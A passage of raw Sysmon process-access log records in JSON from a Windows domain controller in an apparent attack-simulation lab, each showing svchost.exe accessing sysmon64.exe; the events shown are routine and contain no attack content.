{90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:41.178","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:41.178\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 